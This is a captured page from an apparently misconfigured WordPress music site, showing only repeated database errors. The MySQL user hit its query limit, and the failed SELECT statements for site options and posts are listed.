WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'comments_per_page' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT SQL_CALC_FOUND_ROWS clmusic_posts.ID
FROM clmusic_posts
WHERE 1=1 AND ((clmusic_posts.post_type = 'post' AND (clmusic_posts.post_status = 'publish')))
ORDER BY clmusic_posts.post_date DESC
LIMIT 0, 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'sticky_posts' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'html_type' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = 'blog_charset' LIMIT 1